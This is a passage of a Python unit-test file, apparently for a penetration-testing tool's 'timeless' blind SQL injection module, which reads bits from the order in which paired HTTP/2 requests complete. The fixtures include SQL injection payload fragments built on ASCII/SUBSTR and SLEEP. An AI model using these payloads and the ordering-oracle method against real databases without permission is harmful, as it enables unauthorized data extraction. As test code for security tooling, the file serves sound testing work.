conn = FakeConnection([True], raises=[socket.error("connection reset")])
self.assertRaises(socket.error, _pairOrder, lambda: conn, REQ_COND, REQ_NEG, 5)
self.assertEqual(conn.closed, 1)
def test_status_mismatch_between_streams_raises(self):
conn = FakeConnection([True] * 8, statuses=[(200, 403)] * 8)
self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5)
def test_drift_from_the_calibrated_status_raises(self):
conn = FakeConnection([True] * 8, statuses=[302] * 8)
self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5, expectStatus=200)
def test_transient_status_blip_is_tolerated(self):
conn = FakeConnection([True] * 8, statuses=[500, 200])
_first, _lo, _hi, status = _pairOrder(conn, REQ_COND, REQ_NEG, 5, expectStatus=200)
self.assertEqual(status, 200)
def test_calibrate_reports_the_control_status(self):
conn = FakeConnection(votes(*([True] * 10)), statuses=[201] * 10)
usable, confidence, status = calibrate(conn, REQ_COND, REQ_NEG, trials=10)
self.assertTrue(usable)
self.assertEqual(confidence, 1.0)
self.assertEqual(status, 201)
def test_calibrate_rejects_a_serializing_backend(self):
conn = FakeConnection([True] * 20) # order tracks arrival, not work
usable, confidence, _status = calibrate(conn, REQ_COND, REQ_NEG, trials=10)
self.assertFalse(usable)
self.assertLess(confidence, 0.9)
class TimelessSpecTest(unittest.TestCase):
def test_authority_comes_from_the_host_header(self):
spec = ("https://10.0.0.5/path?a=1", "GET", {"Host": "vhost.example", "X-A": "1"}, None)
req = _specToReq(spec, "fallback")
self.assertEqual(req["authority"], "vhost.example")
self.assertEqual(req["path"], "/path?a=1")
def test_authority_falls_back_to_the_url(self):
spec = ("https://10.0.0.5/path", "GET", {"X-A": "1"}, None)
self.assertEqual(_specToReq(spec, "fallback")["authority"], "10.0.0.5")
def test_connection_nominated_fields_reach_the_http2_normalizer(self):
"""Stripping Connection here would leave the fields it names in the h2 request, which is
malformed - the HTTP/2 layer needs to see it to remove them."""
spec = ("https://h/p", "GET", {"Connection": "X-Remove", "X-Remove": "v"}, None)
req = _specToReq(spec, "h")
self.assertIn("Connection", req["headers"])
from lib.request.http2 import _normalize_request_headers
names = [name for name, _value in _normalize_request_headers(req["headers"], b"")]
self.assertNotIn(b"x-remove", names)
self.assertNotIn(b"connection", names)
def test_userinfo_is_dropped_from_the_authority(self):
spec = ("https://user:[email protected]:8443/p", "GET", {}, None)
self.assertEqual(_specToReq(spec, "h")["authority"], "host.example:8443")
class TimelessPayloadTest(unittest.TestCase):
def test_negation_spans_newlines(self):
value = "AND 1=(CASE WHEN (%sASCII(SUBSTR(x,\n1,1))>64%s) THEN 1 ELSE 1 END)" % (
_timeless.INFERENCE_BEGIN, _timeless.INFERENCE_END)
negated = negatePayload(value)
self.assertIsNotNone(negated)
self.assertIn("ASCII(SUBSTR(x,\n1,1))>64", negated)
self.assertIn("THEN 1 ELSE 0 END)=0", negated)
def test_negation_requires_sentinels(self):
self.assertIsNone(negatePayload("AND 1=1"))
self.assertIsNone(negatePayload(None))
def test_negation_is_null_safe(self):
"""Plain NOT() would leave both requests cheap at end-of-string (NOT NULL is NULL), so neither
branch runs heavy and the order is noise."""
self.assertNotIn("NOT(", negateCondition("ORD(x)>64"))
self.assertEqual(negateCondition("ORD(x)>64"), "(CASE WHEN (ORD(x)>64) THEN 1 ELSE 0 END)=0")
def test_every_primitive_consumes_the_cost(self):
"""A primitive that ignores [COST] makes every rung of the ladder send the identical query while
reporting a different cost."""
for dbms, primitive in LIGHT_HEAVY.items():
self.assertIn("[COST]", primitive, "%s primitive ignores [COST]" % dbms)
def test_every_primitive_yields_a_sentinel_vector(self):
for dbms in LIGHT_HEAVY:
vector = lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0])
self.assertIn(_timeless.INFERENCE_BEGIN, vector)
self.assertIn(_timeless.INFERENCE_END, vector)
self.assertIsNotNone(negatePayload(vector))
def test_condition_pair_runs_heavy_exactly_once(self):
cond, neg = buildConditionPair("ORD(x)>64", "HEAVY")
self.assertEqual(cond.count("HEAVY"), 1)
self.assertEqual(neg.count("HEAVY"), 1)
self.assertNotEqual(cond, neg)
class TimelessOracleTest(unittest.TestCase):
def _oracle(self, connections, **kwargs):
oracle = TimelessOracle("h", 443, REQ_COND, REQ_NEG, votes=4, status=200, **kwargs)
made = []
def opener(host, port, proxy, timeout):
made.append(connections[len(made)])
return made[-1]
oracle._opened = made
_timeless.connect, self._savedConnect = opener, _timeless.connect
return oracle
def tearDown(self):
if hasattr(self, "_savedConnect"):
_timeless.connect = self._savedConnect
del self._savedConnect
def test_a_fresh_connection_is_calibrated_before_it_reads(self):
conn = FakeConnection(votes(*([True] * 40)))
oracle = self._oracle([conn])
oracle._conn()
self.assertEqual(len(conn.sent), _timeless.VERIFY_TRIALS)
def test_a_serializing_replacement_connection_is_refused(self):
"""The initial sweep proves one connection to one backend node; a later connection can land on a
node that serializes streams and would return wrong bits without ever raising."""
conn = FakeConnection([True] * 40) # first-sent always finishes first
oracle = self._oracle([conn])
self.assertRaises(TimelessUnusable, oracle._conn)
self.assertEqual(conn.closed, 1)
self.assertEqual(oracle._conns, [])
def test_close_does_not_resurrect_a_concurrently_opened_connection(self):
conn = FakeConnection(votes(*([True] * 40)))
oracle = self._oracle([conn])
started, release = threading.Event(), threading.Event()
opener = _timeless.connect
def blocking(*args, **kwargs):
started.set()
release.wait(5)
return opener(*args, **kwargs)
_timeless.connect = blocking
worker = threading.Thread(target=lambda: self.assertRaises(TimelessUnusable, oracle._conn))
worker.daemon = True
worker.start()
started.wait(5)
oracle.close() # closes while the worker is still inside connect()
release.set()
worker.join(5)
self.assertEqual(oracle._conns, [])
self.assertEqual(conn.closed, 1)
def test_clean_model_demands_a_unanimous_connection(self):
"""The cheap model is only sound where votes are deterministic, so a connection that cannot
reproduce the unanimity the tuning sweep saw must not be read at it."""
oneMiss = votes(*([True] * 3 + [False] + [True] * 40))
oracle = self._oracle([FakeConnection(oneMiss)], verifyThreshold=_timeless.VERIFY_THRESHOLD_CLEAN,
pTrue=_timeless.SPRT_P_TRUE_CLEAN)
self.assertRaises(TimelessUnusable, oracle._conn)
oracle = self._oracle([FakeConnection(oneMiss)]) # conservative model tolerates it
self.assertTrue(oracle._conn())
def test_close_is_idempotent(self):
conn = FakeConnection(votes(*([True] * 40)))
oracle = self._oracle([conn])
oracle._conn()
oracle.close()
oracle.close()
self.assertEqual(conn.closed, 1)
class TimelessEngagementTest(unittest.TestCase):
"""engage()/disengage() are the state machine the runtime fallback depends on. Restoring the vector
alone is NOT enough - bisection freezes a comparison template from it when a value starts extracting,
so disengage() must also publish the classic vector for queryPage to re-forge the stragglers with,
or the rest of that value keeps sending heavy (no-delay) payloads that read as all-False."""
def setUp(self):
from lib.core.data import kb
from lib.core.datatype import AttribDict
from lib.core.enums import PAYLOAD
self.kb, self.technique = kb, PAYLOAD.TECHNIQUE.TIME
self._saved = (kb.get("injection"), kb.get("timeless"), kb.get("timelessRestore"))
kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "AND SLEEP([SLEEPTIME]) [INFERENCE]"})})})
kb.timeless = None
kb.timelessRestore = None
def tearDown(self):
self.kb.injection, self.kb.timeless, self.kb.timelessRestore = self._saved
def _oracle(self):
return TimelessOracle("h", 443, REQ_COND, REQ_NEG, status=200)
def test_engage_swaps_the_vector_and_publishes_last(self):
oracle = self._oracle()
_timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]")
self.assertEqual(self.kb.injection.data[self.technique].vector, "AND HEAVY [INFERENCE]")
self.assertIs(self.kb.timeless, oracle)
self.assertIsNone(self.kb.timelessRestore)
def test_disengage_restores_and_arms_the_straggler_rewrite(self):
oracle = self._oracle()
_timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]")
_timeless.disengage()
self.assertEqual(self.kb.injection.data[self.technique].vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]")
self.assertIsNone(self.kb.timeless)
self.assertEqual(self.kb.timelessRestore, "AND SLEEP([SLEEPTIME]) [INFERENCE]")
def test_re_engaging_clears_a_previous_targets_rewrite(self):
"""A stale rewrite vector outliving its target would re-forge the next one's payloads."""
_timeless.engage(self._oracle(), self.technique, "AND HEAVY [INFERENCE]")
_timeless.disengage()
self.assertIsNotNone(self.kb.timelessRestore)
_timeless.engage(self._oracle(), self.technique, "AND HEAVY2 [INFERENCE]")
self.assertIsNone(self.kb.timelessRestore)
def test_disengage_holds_the_data_object_not_the_technique(self):
"""disengage() can run after the controller moved to the next target; re-resolving the technique
then would restore this target's vector onto the next one's injection data."""
from lib.core.datatype import AttribDict
oracle = self._oracle()
_timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]")
stale = self.kb.injection.data[self.technique]
self.kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "NEXT TARGET [INFERENCE]"})})})
_timeless.disengage()
self.assertEqual(self.kb.injection.data[self.technique].vector, "NEXT TARGET [INFERENCE]")
self.assertEqual(stale.vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]")
def test_straggler_rewrite_ignores_a_payload_without_sentinels(self):
"""The rewrite must be a no-op on any ordinary time-based payload."""
self.assertIsNone(_timeless.restoreClassicValue("id=1 AND SLEEP(5)", "AND SLEEP([SLEEPTIME]) [INFERENCE]"))
self.assertIsNone(_timeless.restoreClassicValue(None, "AND SLEEP([SLEEPTIME]) [INFERENCE]"))
if __name__ == "__main__":
unittest.main()